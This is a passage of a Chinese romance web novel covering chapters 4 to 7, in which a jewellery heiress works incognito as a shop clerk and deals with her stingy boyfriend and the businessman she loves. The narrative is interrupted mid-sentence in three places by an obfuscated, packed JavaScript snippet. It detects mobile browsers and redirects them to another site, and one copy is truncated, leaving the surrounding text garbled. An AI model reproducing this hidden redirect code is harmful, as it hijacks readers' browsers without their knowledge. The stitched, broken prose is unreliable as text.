“额,要是没有什么太要紧的事的话,小岑还是跟我上去吧?帮我找口红比较重要。” 祁迹颔首,“上去吧。” 丁耀光慢了一步,但还是要重复一遍:“宝贝,上去吧。” 听到前面两个字,祁迹瞥了他一眼。 直到岑似宝与张曼回到了宿舍,祁迹才动身离开。 丁耀光眼珠子一转,悄悄跟在了他身后,不死心地看了眼他开的车,在看清车标后暗自咬牙。 这时,反应过来的岑似宝给他发来了消息,问他过来找她干什么。 丁耀光坐在电瓶车上,直接打了个电话过去,“没事儿,就是想你了。” “本来想跟你去约会的,后来你不是跟你哥出去吃饭了吗?我想了想,还是过来看看你。” “虽然我租房的地方很远,又下着雪,而且我没舍得打车,骑车骑了很久,冻得不行,但是见到你,我心里就暖了。” 岑似宝只听到最后一句,“暖了?那就好。” 丁耀光:“……” 他本来是想着让岑似宝体贴他几句,好体现出他与那个男人的不同的。 毕竟那人开了辆好车,风吹不着,雪打不着的,哪有他诚心。 说到这个,“对了,刚才那个人,是谁啊?为什么要捧着你的脸?”他故作轻松问道。 岑似宝停了两秒,“他是我的一个……” 无数答案在她口中徘徊,最后选择了:“牙医。” 丁耀光茫然:“啊?一个牙医?你有很多牙医吗?” 她继续编:“那倒不是,就这一个。其实他是我哥哥的朋友,受我哥所托过来看看我,顺便,给我看看牙。” “可是我看你的牙齿不是挺整齐的吗?也不像有蛀牙啊。” “而且看牙是很花钱的吧?”丁耀光的注意力完全被这一点吸引了,拧起了眉心,“我记得,这方面医保好像是不给报销的。” 虽然他觉得以岑似宝的家境,二人不是百分百能修成正果,但是只要有一点可能,他也得修正一下她的观念,为了他们的以后好好攒钱。 毕竟岑似宝是没有老人负担,但他可是有双亲,还有爷爷奶奶姥姥姥爷要养的。 于是话中便带了几分责难:“我是觉得啊,这牙要是偶尔有点疼,或者有点敏感,那都不是什么大问题,忍一忍就过去了,你最好还是不要去看什么牙医。” “我跟你说啊,那些医生很坏的,他们要赚钱,所以就算你牙齿没事,都能给你说成有事,想方设法要你拔牙啦,做根管啦,补牙啦,坑你的钱。” 话中很难不夹带对那个与他不相上下的、身份为所谓牙医的男人的愤恨。 说完,对面沉默了一阵,丁耀光隐约听到她好像说了句什么,哆啦A梦很对的话,不解地问:“什么?” 岑似宝轻咳一声:“没什么。我没花什么钱,而且就算要花钱,我自己的生活费也完全足以覆盖。” 她加重了自己两个字,是想提醒他,不要对她的钱有太多占有欲。 丁耀光不赞同地诶了一声:“你哥现在那样的情况,你就更应该节省生活费了啊。” 岑似宝陷入困惑之中:“我?节省?” 她虽然理解丁耀光的节俭,也很欣赏他自力更生,但是他总想拉着她一起节俭,岑似宝有点不高兴了。 丁耀光说完也意识到,他今晚谈钱有点太多,或许有些败坏形象。 哪怕对她的家境不甚满意,但他还是很喜欢岑似宝本人的,于是换了个话题:“不提这个了,宝贝,我老板给我放了两天假,咱们明天出去玩吧?” 岑似宝看着张曼将保温良好的饭盒摆在桌子上,无声招呼她过去吃,手指拨弄了一下裙边,“再说吧,我可能有事。” “什么事啊?” “工作。” 丁耀光愣了一下,随后有些高兴,“你能想到去工作、去赚钱,减轻家里的压力,我真的很欣慰。当然,要是再节省一点,就更好了,开源节流嘛。” 岑似宝又是一阵无言。 要是她赚的那点钱就可以减轻家里的压力,那她家离破产也不远了。 她接受丁耀光,是因为他锲而不舍,显得很喜欢她,而且人看起来也不错。当然,也有一时兴起和赌气的成分,以及说不清道不明的,想要看看祁迹的反应。 现在看来,好事是,他从来不花她的钱。 坏事是,他也不让她花她的钱。 这就让她百思不得其解了。 或许她该重新考虑一下,这段才刚刚开始的恋情了。 挂断电话,岑似宝将头发扎了起来,接过张曼递过来的筷子。 “刚才楼下找你,给你送吃的那个人,就是那个谁吧?”张曼努了努嘴,指着楼下,意指祁迹。 “嗯。” “那继续说,你怎么知道那个谁,不够喜欢你?” 岑似宝说起来还觉得气,筷子啪嗒一声敲在了盒子边缘,冷笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016301|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声:“那时候我表完白,他居然说,我的喜欢一向是三分钟热度。” “哈!你说,我是这种人吗?”她看向张曼。 张曼则看向底下被她当作外卖桌布的海报。 没记错的话,上面的男明星,她应该刚好喜欢了三天。 她张了张口:“啊,我觉得,你,应该不是吧。” “对的呀!我这么专一!他怎么可以这么说我啊,说他要的不是热度会很快褪去的、不确定的喜欢。” “他还说,只给我几天的时间反悔,等他出差回来,就再也没有反悔的机会了。” “哈!还给我几天时间考虑?你说,这是不是很过分?”她又看向张曼。 张曼挠了挠额头。 当你义愤填膺听完姐妹的控诉,发现其实她的问题更大,应该怎么说? “我觉得,他那样,确实是有点过分了。” “是吧?我最气的就是这一点,他要是真的足够喜欢我,那听到我跟他表白,就应该立刻感恩戴德地答应,然后抱住我,亲到天荒地老飞沙走石天昏地暗沧海桑田恨不得立刻步入洞房啊。” 张曼脸上通红,轻咳两声:“你,你少说点虎狼之词。” “总之就是这样了,他根本就没那么喜欢我,只是我喜欢他而已。他不是想让我反悔吗,那我就反悔给他看。”岑似宝信誓旦旦。 张曼努力说服自己,跟上她的思路:“对,给他看。” “还有啊,我后来才知道,我租无人机的那家公司,算法就是祁迹的公司提供的,他们关系密切得很,说不定他早就知道我在准备表白仪式了,我那时问他惊不惊喜,他还骗我说惊喜。” 张曼扶住额头:“哈哈。” “那他现在知道你跟丁耀光在一起了吧?” “知道了。”岑似宝声音低了八度。 张曼提醒:“知道了之后立刻大晚上来找你,不会是醒悟了,回头了,打算为爱做那什么吧?” “不可能,他是那种很理智的人。”岑似宝直接反驳,“据我了解,他不会做那种不道德的事。” 张曼心说,她刚才在楼上,看他霸道捧着岑似宝脸的动作,可瞧不出一点理智和道德感。 岑似宝嘀咕,“而且我才不觉得他会为我做到那种地步。” 张曼无法昧着良心继续讨伐祁迹了,转而说起:“对了,我刚才听你电话里说,要去工作了?回家继承家业?” 她是知道的,岑家主营珠宝,黄金铂金,钻石翡翠……门店开遍全国。 现在的掌门人是岑似宝的奶奶,在几个孙辈里最疼她,早在她出生的时候就说过,以后会将家业交接给这个唯一的孙女。 岑家人也都很支持,岑衡和岑量则分别深耕珠宝产业的上下游,为她将来铺路。 岑似宝说累了,托着腮,喝了口汤,“我想先去直营门店看看,回来的路上已经跟我哥说好了。” 宿舍外的停车场,理智的祁迹仍没有离开。 他理智地坐在车里,理智地拨出了薄乐的电话。 过了好一阵,薄乐才接起电话。 祁迹开门见山:“找个人,有可能是你画廊里的员工。” 丁耀光的脸在他脑中闪过,第一眼就觉得有些眼熟,似乎下午在画廊里见过。 不过当时这个人正忙着接待另外几个重要客人,后来又去了楼上,应该没有仔细看他。 薄乐是刚睡下被叫醒的,打了个哈欠。 听出祁迹话语中的冷意,虽然被打扰了,但还是好脾气道:“行啊祁总,你要找谁啊,叫什么名字?” 祁迹沉默了一下,“叫丁……”他捏了捏眉心。 那时怒意上涌,他没有仔细听,也不想听。 但他记得,那是一个让他听了就厌恶的名字,也是一个很符合那人气质的名字—— “耀祖,丁耀祖。” 5. 第 5 章 薄乐嗯了一声,随后清醒了一些:“等会儿?” 他的员工里,有叫耀祖这么难听的名字的吗? 丁耀祖。 他默念了两句,立时想起了丁耀光。 “我记得,应该是没有叫丁耀祖的,倒是有个叫丁耀光的,是他吗?他惹着你了?” 薄乐细细回忆着今天在画廊里的情形,这两个人应该没有直接接触才是。 祁迹睁开眼,“是他。” 想到岑似宝晚上去画廊就是为了找他,还特意打扮了一番。 为了他说谎,八成也是维护他,担心他的工作被岑量搅黄,祁迹心头就升起一股无名火。 他半点不想说出丁耀光在跟岑似宝谈恋爱这句话,只是问:“他人怎么样?” 薄乐彻底清醒过来了,按下好奇,说道:“这人刚毕业没多久,要说工作能力的话,还可以吧。我在好几个行业跳,他都跟着,学历也不错。” “人品呢?”祁迹问。 薄乐朝后一靠,想起白天在洗手间跟他的谈话,嘴角一撇,“就那样吧。今天还跟我说,谈了个家境不好的女朋友,听起来,有点嫌弃。” 祁迹微微蹙眉:“家境不好?” “是啊,让我想想——说是人家父母双亡,跟一个哥哥相依为命,丁耀光觉得日后成家,对方对他的助力不够。” 祁迹的眉头皱得紧了,“父母双亡?” 薄乐轻嗤一声,以为他也是跟自己一样,对丁耀光的话嗤之以鼻,“是啊,而且听他说,女朋友很乖巧懂事,长得也漂亮。要我说,那个女孩到底看不看得上他,愿不愿意跟他结婚还是两说呢。” “乖巧懂事?”祁迹的思维停滞更久了。 薄乐翘起二郎腿:“所以,他到底怎么你了?” 祁迹徐徐出声:“我现在觉得,他可能不是我要找的人。” 他的人生中,头一回有如此困惑:“这个人,有没有个叫丁耀祖的双胞胎兄弟?” 薄乐也跟着困惑了:“是吗?那我回头帮你问问。” 他本还想追问祁迹到底找人要干什么,祁迹已经挂掉了电话。 “??挂我电话?你是在模仿岑家小妹吗?” 隔天早上,岑似宝难得早起,迷迷糊糊下床洗漱,有点后悔自己想不开去工作了。 其实已经没那么早,张曼已经出门很久了,只是她散漫惯了,靠着五个闹钟,才把自己闹醒。 踩着点出门,她来到了昨天跟岑量敲定好的门店。 在整个大区里,这家门店销售额逐年下滑得厉害,很显眼。 店面位置其实不差,位于市中心CBD一隅,当然,周遭的竞争也很大。 不过这家店面,对她来说是特别的。 它开在她小时候百日抓周之际。 当时,奶奶给了她很多标有地址的签子,最后,她从那数十个选址中抓中了这里。 也是因为这种渊源,她才选择了这里。 她没急着过去,先去附近买了杯咖啡。 正排着队,余光里看到了一个有点眼熟的男人。 多看了两眼,她靠着那副黑框眼镜记起来了,好像是祁迹的助理。 跨年夜的时候她还见过一面,记得应该是姓余,是个看起来很木讷的人,说话也一板一眼。 如此无趣,太适合做祁迹的助理了。 差点忘了,祁迹的公司也在这附近。 岑似宝下意识拿包挡住了脸,然而她这一动作,反倒让她在队伍中更加显眼了。 她自己也认识到了这一点,若无其事地放下了包,目视前方。 余助理望了两眼那道僵直站着的纤细身影,拿出手机,打开了与祁迹的聊天界面。 然后面无表情发送: “祁总!猜猜我遇见谁啦!!” 岑似宝取到自己的咖啡就立刻出了门,余光关注着那位余助理的位置,他还在排队。 直到走出了老远,她才长出一口气。 刚来到裕丰珠宝店门口,她就见到了正看着时间的女人。 “你好,你是店长吧?”岑似宝走上前,“我是新员工,你叫我小岑就好。” 她的脸对于裕丰的员工来说并不熟悉,只是换了个化名。 店长:“大学生实习?” 岑似宝点了点头。 店长领着她进门,满心狐疑:“你到底是谁面试过来的?裕丰珠宝的直营店一向不收兼职的寒暑假工和实习生的。” “哦,其实是因为我这个人啊,特别会说话,被破格录取的。”岑似宝脸不红心不跳地说。 店长若有所思点了点头,“家境怎么样?” “这个也要问吗?”她想了想,“还算可以吧。” 店长扫了她一眼,意外地没有在她身上看见任何装饰品,连耳洞都没打。 但是看那葱白的手指,关节处没有一点色素沉淀,瞧得出平时精心保养,十指不沾阳春水。 横竖她只是暂顶一个离职的柜姐的空,“你先去换上制服,一会儿让周姐带带你。” 岑似宝挑剔的目光扫了眼制服。 裕丰珠宝冬季的制服是裤装,西装版型,面料很好,显得干脆利落,倒是不难看。她还算满意。 又打量了眼店面,所有直营店都是统一装潢,不久前才翻新过,也没什么问题。 店长走到柜台里头,跟周姐交待了几句。 过了一会儿,岑似宝换好衣服走了出来。 周姐下意识朝对面纤秾有致的身形望去,制服合体的剪裁突出了她身体的所有优点。 头发盘起,头肩比极佳,腿更是长,同样尺码的裤子,一般人穿恐怕要拖地了,她却刚刚好,笔直的裤管垂到脚面之上。 更不用说那张能让人眼前一亮的脸蛋。 周姐啧啧了两声,“长得倒是很板正,不过越是漂亮,就越怕是花架子,业务能力不行。” 店长的想法也差不多,但没有说出来,“总之你多教教了,先撑过这阵。” 周姐不是很抱希望,“能发配到我们这儿来的,恐怕也不会是什么好苗子啦。” 店长交待完,就去了后头盘账。 柜台剩下周姐与岑似宝,两人讲了讲工作要领。 周姐虽然不是很积极,跟岑似宝说话的语气也不怎么热络,不过说得很详细,担心她记不住,放慢了语速。 “每个陈列区你都熟悉一遍,钻石的4C,翡翠的种水,黄金的工艺……这些讲法你都要记住。” “最重要的是,手不离货,货不离柜。拿取也要有规范,要用托盘,不可以直接碰到钻石翡翠这类容易留下指纹的表面。” 她本来做好了多讲多示范的准备,但很快便发现,岑似宝只听一遍就记得,甚至很多不用她讲也知道,对工具的使用更是信手拈来。 她有些诧异:“你有经验?” 岑似宝笑了笑,“有一点吧。” 周姐对她有些改观了。 “反正啊,来看看的顾客有,但是真正下单的不多,你就记得,要有耐心,对不买的顾客也得耐心。” “我知道。” “你还挺机灵的,只要不说错话,顺着顾客来,应该就不会有什么问题。” 岑似宝:“放心吧,我这个人,出了名的会说话。” 周姐放下心来。 店铺本身就经营不善,加之是工作日,更是没什么客人。 但即使没有客人,她们也不可以坐下,依然要站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016302|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在柜台内。 岑似宝还是第一次站这么久,小腿很快开始泛酸。 直到临近中午的时候,门口出现了一对情侣。 那两人在门口环视了一圈,走了进来。 “欢迎光临裕丰珠宝。” 周姐走上前,给了岑似宝一个眼神,让她学习,面上露出微笑:“您好,请问想要看看什么类型的首饰呢?” 女人温柔说道:“我们想看一看,结婚用的三金首饰。” 周姐耐心地询问了一下她的喜好,给她推荐了几款不同价位的,察言观色介绍着。 她身旁的未婚夫并不怎么插嘴,只是满含爱意地看着她,“老婆,随便挑,可别给我省钱啊。” 随后他便两手插兜,在店里晃悠起来。 走着走着,就慢慢走到了岑似宝的面前,斜靠着柜台。 岑似宝正听着周姐的话,疑问地看向他。 “哎。”他突然压低了声音,“你们这儿有金包银的款式吗?” 岑似宝几不可见地愣了一下,但还是捧起了十足的耐心,笑着说:“当然有的,正好现在有几款在打折,我可以拿给您二位看一下。” “不是。”男人回头看了眼未婚妻,确定她还在看款式,没注意到这边。 他小声道:“是这样的,我想先跟你说好,待会儿,你给我拿些金包银的款式,但是不要说出来。” 想到他刚才说的不要给我省钱几个字,岑似宝白皙的面皮微动。 随后微妙地长啊了一声:“先生,您的意思是,让我给您提供一些金包银的首饰,但是要骗住您的未婚妻,让她以为是纯金的?” “你小点声,没错,我是这个意思,但不是骗,是瞒。尤其记住,价钱也要瞒着她,发.票你直接给我就行。” 男人抬头看了眼垂眸微笑的岑似宝,“你是拿提成的吧?你们店生意那么差,能卖出去都算开单了,你好好给我演,演得好,钻戒我也在你这儿买。” 岑似宝眼睫抬起,小声说:“是吗?那钻戒,要不要我也给您找几款莫桑石的,再跟您未婚妻说是真钻石?” 男人眼睛一亮:“这也行吗?那再好不过了啊,反正只要够闪,还不都是一样。” 岑似宝的笑容在璀璨灯光下摇曳:“那不行的,先生。” “啧,你就不知道变通吗?这事儿就咱俩知道。” “不是啊,我是说,您这样,成本还是太高了啊。” “啊?”男人一愣,“还有更便宜的?” “是啊。”岑似宝认真点头,随后抬手,给他指了指对面的一家超市,“看见了吗?就那家超市。” “您要买钻戒呢,里头有卖钻石糖的,带戒圈。十个手指头戴满了,也不超过十块钱。那里头添加的阿斯巴甜啊,就跟您的爱一样甜。” “要买三金呢,您就去买几块金币巧克力,论斤称,五毛钱一个。您把外皮剥下来,揉吧揉吧,就跟金的一样。还相当于免费得了几块代可可脂巧克力呢,就跟您的爱一样浓得化不开。” “多好啊。”岑似宝欣然两手交握。 “……” 男人反应过来她的意思,脸色顿时一阵白一阵红,“不愿意就不愿意,你怎么还骂客人呢!” 他的声音没忍住大了起来,引起了其他人的注意。 “怎么了?”周姐暗叫不好,他的未婚妻也走了过来,狐疑地看着两人。 “你们这什么柜姐啊,骂人!” 周姐皱眉看向岑似宝。 岑似宝两手一摊:“我没有骂他啊,天可怜见,我一个脏字儿都没说。” 她看着周姐,满脸无辜:“跟您教我的一样,我全程又有耐心,又顺着他,讲的也全是好话,真的。我发誓。” 6. 第 6 章 几人看向男人。 男人两眼冒火:“她刚才一直说什么阿斯巴甜,代可可脂的,说跟我的爱一样,阴阳怪气的,这还不算骂我?” 他的未婚妻不明所以,也不满地看向了岑似宝,“小姐,你这是什么意思呀?” 周姐连忙上前打圆场:“抱歉,这中间可能是有误会,我们小岑今天刚来,还不熟悉业务。” “没有误会。”岑似宝笑了,看向女人:“什么意思?就是说,他的爱又廉价,又对你的身体有害呀。” “幸好你们还没有结婚,现在发现也不晚。” 女人不解,望向身旁男人寻找答案,男人自知理亏,立刻拽起她,朝门外走去。 “我不在你们这儿买了行了吧?难怪没人来,什么柜姐啊,不仅不专业,还辱骂顾客,等着吧,我一定要投诉你!” 岑似宝挥了挥手,扬起语调:“好啊,我等着~还有那位小姐,也欢迎您换个未婚夫再来哦。” 周姐着急地跺了跺脚,“你少说两句吧,刚才到底发生什么了?” 岑似宝三言两语说了一下前因后果。 周姐震撼地看着她,“小岑。” 岑似宝抬眼:“嗯?怎么了?” “你先前不是说,你是因为会说话,被破格录取的吗?” 结果第一笔生意就被她这张嘴给说跑了。 岑似宝面不改色:“对啊,难道我不会说话吗?” “……挺会的,挺会不带脏字骂人的。” “但是,你毕竟是骂走了一个客人啊,而且看他刚才的样子,这事儿应该不会轻易揭过去了。” 岑似宝目光动了动,似乎有些好奇:“那刚才那种情况下,如果是周姐,会昧着良心帮他撒谎吗?” 周姐正色起来,“我当然不会了,这不仅是道德问题,也是违反公司规定的。” 岑似宝笑了笑,“那就没事了。” 周姐皱起眉,苦口婆心:“怎么会没事呢,你还是太年轻,知道吗,性子太直,让人下不来台,不是什么好事的。” 她劝道:“他要是真的一个投诉甩过来,扣钱还是小事,你刚找的工作说不定就没了,咱们公司在这方面的管理很严的。” 岑似宝看了看她,“你们经常遇到这种情况?” “也不算经常,我们门店毕竟生意不好,客人也不多,但是难免会遇到这种奇葩。可是不管心里多不屑,你面上都得保持微笑,要委婉地拒绝客人的无理要求,不能惹恼了客人的,明白吗?” 岑似宝没有说话。 周姐叹了一声,只觉得这姑娘要完蛋了。 她犹豫了一下,还是没有立刻告诉店长。 店里又变得空荡荡起来。 岑似宝看着斜对面的另一家珠宝店,很明显,那里的客流量要比这里好很多。 周姐看她一直望着对面,了然:“是不是羡慕人家赚得多啊?我也奇怪,你条件这么好,怎么来了我们这里。” “这里不好吗?”岑似宝挑眉。 周姐摇摇头:“在你前头,刚走一个小刘。之前还有个柜哥,挺会说话的——不是你这种会说话哈,后来就跳槽到对面那家店了。” “我也就是年纪大了,想稳定点,家里负担也不重,所以才留在这儿混口饭吃的。” 岑似宝若有所思。 接下来直到中午,店内也没有其他客人来。 站了一上午,岑似宝低头看自己的脚后跟,又红又肿,小腿更是浮肿了一圈。 她原本还特意选了双跟没那么高的鞋的。 周姐也看到了,瞠目结舌:“小岑,你这也太娇了,才多久啊。” 她看着岑似宝咬着唇,懊恼地弯腰按了两下小腿,摇了摇头。 既不会讨好人,也不能忍着委屈,脾气更是不好。一看就是娇生惯养,不能吃苦的性子。 大概是因为,生活中总有人时刻为她兜底吧。 恐怕明天就不会再来了。 午间休息,岑似宝本来想问周姐要不要一起去吃饭,她只是客气地表示自己从家里带了饭,拒绝了。 岑似宝坐在角落里,愤愤地点着自己的小腿:“不争气!” 说完又莫名有点委屈,她扁了扁嘴,手机突然响了。 来电显示——岑衡。 岑似宝清了清嗓子,确定没有异样,才接起,喊了声:“哥哥?” 那头嗓音低磁:“岑似宝,我不给你打电话,你就不知道给我打电话了?” 岑衡即使出差,也依旧每天给她打个电话,只有昨天没有时间打。 岑似宝:“谁说的,我这不是估计你在忙吗。对了,你那边应该是夜里吧?怎么还不睡啊?” 她有些心疼,岑衡是个工作狂,很容易废寝忘食。 电话那头,岑衡肃着的脸微微柔和,“刚开完会,还不困。” 岑似宝听着,确定岑量没有将她谈恋爱的事告诉岑衡,松了口气。 “岑量跟我说,你去了裕丰的直营店?” “是啊。” “当店长?”他明知故问。 “不是。”岑似宝翘起嘴角,“当柜姐,我厉害吧?这里的老员工还夸我聪明会说话了。” 岑衡没有第一时间回话,叹了一声,才说:“站了一上午吧,累吗?还要继续做吗?” 岑似宝不服气:“我是那种出尔反尔,吃不了苦的人吗?” 岑衡故作诧异:“难道你不是?” 她气:“你怎么跟岑量说一样的话?” 听出那边语气的变化,岑衡不再逗她了,“腿怎么样?肿了?” 岑似宝轻松地说:“当然没有肿啦,没客人的时候,我就坐着呗,我多精明啊。” 岑衡不知有没有信,说道:“注意安全,要是遇到什么麻烦,就让岑量去解决。” “那是当然,他逃不开的。” “对了,我跟祁迹也说过,你有事也可以找他。”他顿了顿,“你还记得他吗?” 岑似宝踢了踢脚后跟:“记得,岑量没跟你说吗,我们昨天一起吃了饭,跟他的朋友们。” 岑衡敲了敲手指,脸色不太好看,“他那帮狐朋狗友,离他们远点。” “岑量说,你不让他那边给你送饭。” “嗯。” “我已经跟祁迹说好了,你去他公司的员工餐厅吃,我去过,应该会合你的口味。” 岑似宝一怔,想拒绝,那头却已经一锤定音,“正好,他也可以帮我照料你,你等会儿直接过去就行。” 他已经说起了别的话题:“还有,有空的时候多回去陪陪奶奶。” “知道的,周末就回去了。” 岑衡看了眼时间,“行了,你挂电话吧。然后去吃饭。” 家里人都知道她今天第一天上班,其后轮番给她打来了慰问电话。 岑似宝的心情好些了,握着手机,想了想,给张曼发了条消息。 没过多久,张曼到了。 她实习的公司也在附近,平时中午点外卖对付,岑似宝干脆让她一起过去。 张曼看看岑似宝,抱住了她:“我们小岑真是受苦了哦,这么累,起得还早。” 岑似宝蹭了蹭她,“其实也还好,休息一会儿就缓过来了。走吧。” 办公园区就在商场对面,她们没走多远就来到了两栋大楼前。 犀鸟科技的银色logo闪着低调的光。 张曼还犹豫了一下,岑似宝已经若无其事走了进去。 张曼眯起眼,见识了她的熟稔后就意识到,岑似宝好像不是第一次来,恐怕也不是第一次吃员工餐厅。 她揶揄:“说起来,怎么就叫上我了啊,是不是……担心撞上祁总?” 岑似宝斜睨她一眼,“你想太多了,哪有这么巧撞上,我只是不想你总点外卖而已。” 张曼又揽住她,手指捏住她的脸肉一通揉:“小岑对我怎么这么好啊,哎哟我才是你的真爱吧?” 祁迹遥遥看着两人笑闹着走进了员工餐厅。 他视线下移,投向了岑似宝的小腿。 与此同时,岑衡也给他发来了一条消息:“见到她了吗?她跟我说腿没肿,你帮我拍张她的照片。” 岑似宝和张曼刚坐下,在线上点了餐,旁边突然来了两个穿着工作装的人。 “打扰了两位,最近员工餐厅在升级菜品,请问可以帮我们做个问卷调查吗?问题不多,很快就可以完成,回头都会落到实处的。” “你们公司人文关怀这么足啊,”张曼不好意思道:“可是,我们其实不是你们这儿的员工。” “哦,没关系的,只要在这里用餐的,都可以填的。” 岑似宝想到日后要在这里常驻,已经大大方方扫了码。 问题是对已有的菜品有什么意见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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相比张曼所说的那位大受欢迎的顾总,还是祁迹的长相更符合她的审美。 岑似宝吃饭很慢,张曼一边看综艺一边等她。 直到餐厅里人越来越少了,岑似宝才吃完。 两人去洗手间洗了手,出来回到座位,正准备拿上手机离开,却愣住了。 桌上放着两只包。 两人面面相觑,“他们这儿吃完饭还有大礼包赠送?” 岑似宝莫名地走上前,看了眼包,第一只是保温袋,打开来,油润香酥扑鼻而来。 外包装上,写着联记两字。 另一只里头则装着一双崭新的鞋,还有冰敷的东西。 张曼扫了一圈,悠悠说:“哦,看来没有我的份,是特定人群的惊喜礼包啊。” 她两手抱怀:“呀,联记,很远的呢。” 岑似宝不自在地抿抿唇,朝周围看了一眼,并没有发现祁迹的踪影。 却看到了正朝这里走来的余助理。 看看他,再看看桌上的包,岑似宝明白了,嘴角高度立时降了下来。 “岑小姐。”余助理朝她打招呼,“午餐还满意吗?” 她下巴朝着桌上的包指了指,“谢谢你了,但是这个,我不要。” 余助理茫然了一下,也看了一眼,“为什么?” 她眼睫垂下:“因为天下霸总一般黑。” “要么就特别抠门,要么就喜欢麻烦自己的助理,在休息时间跑那么远,只为了帮自己代献殷勤,黑心上司!” 痛批完,岑似宝转身就要走。 “等会儿,岑小姐。”余助理推了推黑框眼镜,喊住了她,“我想,你可能误会了什么。” “我们祁总,跟别的那些妖艳霸总不一样。” 岑似宝不可置信地转过脸来。 看着余助理那张每一个五官都在诉说着木讷、正经的脸,她以为自己听错了:“你说妖什么?” 余助理顶着面瘫脸,继续说:“无关工作的私事,祁总基本不会占用助理们的时间,一向亲力亲为——尤其是关于您的事。” “这份点心,还有鞋子,我并不知情,更不是我送来的。要谢的话,请您去谢祁总吧。” 7.第 7 章 余助理说完,心中长叹了一声。 他们祁总啊,就像那条上岸爱上王子的小美人鱼。 而面前的岑小姐,仿佛那个坠海的王子,明明是小美人鱼做的好事,渣王子却将功劳按到了他这个公主,不是,这个小小的助理身上。 这怎么可以?! 他是不能容许自己嗑的cp出现裂痕的!更别说还是因为他! 岑似宝的眼中闪过了茫然无措。 她再度看了眼那两只包,“这些,是祁迹亲自去买的?” 余助理傲然:“的确如此。” 岑似宝的嗓音小了一些,“那他人呢?放下东西人就不在了,这谁能知道是他啊。” 余助理的镜框上闪过一道寒光,要不怎么说祁总像是小美人鱼呢,做好事不留名。 他绝不会让祁总走上小美人鱼的老路。 于是他主动说:“您刚才是不是说要感谢?祁总现在应该就在办公室里。” 岑似宝咬着下唇,思索了片刻。旁边的张曼与余助理对视一眼,最终还是决定做个助攻。 她推了推岑似宝,“不是要道谢吗?快去吧,我午休时间比你短,我先回去了啊。” 有她这么一说,铺了个台阶,岑似宝勉为其难地下了。 “好吧,那你回去小心哦。” “知道知道,你也快上去吧,祁总肯定很忙。”张曼笑着离开了。 办公室里,祁迹正在与薄乐通话。 薄乐:“丁耀光今天放假,不过我问过了,他说是没有亲兄弟的,只有个姐姐。还要我接着帮你打听吗?” “不用了。” 薄乐隐隐听出祁迹话中的势在必得。 丁耀光对他来说会是阻碍吗?从来都不是。 他没必要去记全他的名字,也没必要记清他的脸。 岑似宝不可能长久地跟他在一起,这一点毋庸置疑。 他需要在乎的,只有岑似宝一个。 薄乐越来越好奇了,但也听出祁迹不会告诉他原委,只好说:“要是丁耀光真有什么问题,你跟我说,我可以辞退他。” 说话间,祁迹的办公室门被敲响了。 “挂了。” 他还没说完,薄乐就以迅雷不及掩耳之势按上了挂机键。 看着断开连接的屏幕,他抹了把额头上不存在的冷汗:“好险,差点又被他先挂了电话。” “总算报复回来了。” 祁迹丝毫没有意识到薄乐的报复心理,他随手放下手机,视线投向了门口正磨磨蹭蹭走进来的岑似宝。 余助理将人送到,就自觉退出了。 关上办公室的门,他举起手,握拳,面无表情挥了挥。 祁迹直直看了岑似宝许久,垂下眼,漫不经心说:“余欢欢逼着你来的?” 岑似宝好不容易构建起的心理防线,就这么瞬间崩塌了:“余助理全名叫什么?” 祁迹徐徐抬眼,就见她低着头,肩膀开始颤抖。 没过多久就爆发出了一阵剧烈笑声:“他居然叫余欢欢??哈哈哈哈哈哈哈哈哈哈哈!难怪从来不告诉我真名!难怪我总觉得他这人不对劲啊哈哈哈哈哈哈哈哈!!” 余助理还未走远,就隐约听到身后传来的阵阵银铃般的笑声。 他有些欣慰地扶了扶镜框。 祁迹看着笑得开始东倒西歪的岑似宝,有些无奈地摇了摇头,走到她面前,淡定地伸出手臂。 岑似宝已经站不直,下一秒便一头扎进了祁迹的怀里,正正好好,腰身卡入了他收紧的臂弯。 她的笑声戛然而止。 一抬头,明媚笑眼渗出的泪水还晶莹剔透,湿漉漉的。 某种冲击迎面而来,祁迹只看了一秒,就错开了视线,再看回来,下移,“腿不疼了?” 岑似宝扶着他的胳膊站稳,扭头望向了被她落在门口的袋子。 想到自己的来意,她眼睛一转,“对,差点忘了。祁总,谢谢你的助理了喔,跑这么远帮我买吃的。” 祁迹一顿,却没辩驳什么,只说:“我会向他传达你的感谢。” 他本来也担心她因为跟他赌气,不愿接受。 挂着助理的名头也好。 岑似宝看着他,眉宇间渐渐晕染了一抹怒气:“是吗?您还真是大度啊。” 祁迹垂在身侧的手微动,望向她眼底,“你在生气?” 他淡然走向了那两只包,伸手拿起,语气不轻不重道:“出差回来,女朋友就成了别人的,我还没生气。” 岑似宝肩膀一耸,闭上了嘴。 祁迹打开了装有冰敷袋的包,走上前。随后一只手揽上她的腰,稍稍用力,就将她抱到了桌子上。 “喂,你干什么?”岑似宝一惊。 